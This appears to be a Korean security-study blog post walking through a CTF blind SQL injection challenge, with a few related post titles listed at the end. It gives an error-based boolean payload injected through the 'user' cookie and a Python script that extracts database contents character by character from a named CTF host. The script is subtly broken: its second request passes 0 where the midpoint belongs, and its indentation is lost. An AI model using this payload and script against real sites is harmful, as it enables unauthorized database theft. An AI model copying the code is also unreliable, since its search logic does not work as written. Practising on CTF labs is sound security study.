기억하자. SQL Injection에서는 참/거짓에 따라 달라지는 응답을 확인해야함을.
+
select 문만 사용
or 사용 금지
주석 사용 금지
마이페이지 쿠키 user에 id가 담겨있는 것을 확인
참인 쿼리를 날렸을 때 결과와
거짓인 쿼리를 날렸을 때 결과가 동일
이럴 땐 db 에러를 유발해보고 에러가 출력되는지 확인
db 에러가 출력되므로 조건이 참일 때 db 에러를 유발시켜 참/거짓의 결과가 다르게 나오도록 하자
qwe' and (select 1 union select 2 where(1=1)) and '1'='1 를 이용해서
1=1 부분에 쿼리를 입력해서 참이면 select 1 union select 2로 구조체가 응답되게 하여 db에러를 유발하고,
거짓이면 select 1이 응답되어 결과가 기존과 동일하게 나오도록 함
자동화 코드
import requests
import urllib.parse
url = "http://ctf.segfaulthub.com:7777/sqli_9/mypage.php"
def blind_sqli() : # 쿼리 작성용 함수, 데이터까지 구했으면 ctrl+c
while True :
query = input("SQL문 입력> ")
index_value = "DB" #참 거짓 식별
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
x = 1 #1번째 자리부터 찾기
start = 32 #공백(spacebar) 부터 비교 시작
end = 126 #'~'까지 비교
value = ""
while True :
mid = (start + end ) // 2
cookie = {'user' : '' + blind_query.format(query, x,0),
'ajs_user_id' : 'null',
'ajs_group_id' : 'null',
'ajs_anonymous_id' : '',
'_ga' : '',
'__ssid' : '',
'_hp2_id.318805607' : '',
'session' : '',
'PHPSESSID' : ''
}
response = requests.get(url, cookies=cookie) #만약 get방식이면 수정하기
if index_value not in response.text : #0보다 작다면 NULL값이므로 종료한다
break
else :
cookie = {'user' : '' + blind_query.format(query, x,0),
'ajs_user_id' : 'null',
'ajs_group_id' : 'null',
'ajs_anonymous_id' : '',
'_ga' : '',
'__ssid' : '',
'_hp2_id.318805607' : '',
'session' : '',
'PHPSESSID' : ''
}
response = requests.get(url, cookies=cookie) #만약 get방식이면 수정하기
if index_value not in response.text :
end = mid #거짓이면 끝 값을 mid로 바꾼다
else :
start = mid #참이면 시작 값을 mid로 바꾼다
if start+1 >= end :
value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
x+=1 #그리고 다음 자리 찾는다
start = 32 #초기화
end = 126 #초기화
return value
blind_query = "' and (select 1 union select 2 where ascii(substr(({}),{},1))>{}) and '1'='1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli() #blind_query 시작
추출 완
'웹 모의해킹 스터디 > 과제' 카테고리의 다른 글
[File Vuln] CTF - Web Shell3 문제풀이 (0) | 2024.02.19 |
---|---|
서비스 거부 공격 (Denial of Service, DoS) 공격 종류 (1) | 2024.01.31 |
[SQL Injection] CTF - SQL Injection Point 3 문제풀이 (2) | 2024.01.25 |
[SQL Injection] CTF - SQL Injection Point 2 문제풀이 (1) | 2024.01.23 |
[SQL Injection] CTF - SQL Injection Point 1 문제풀이 (0) | 2024.01.23 |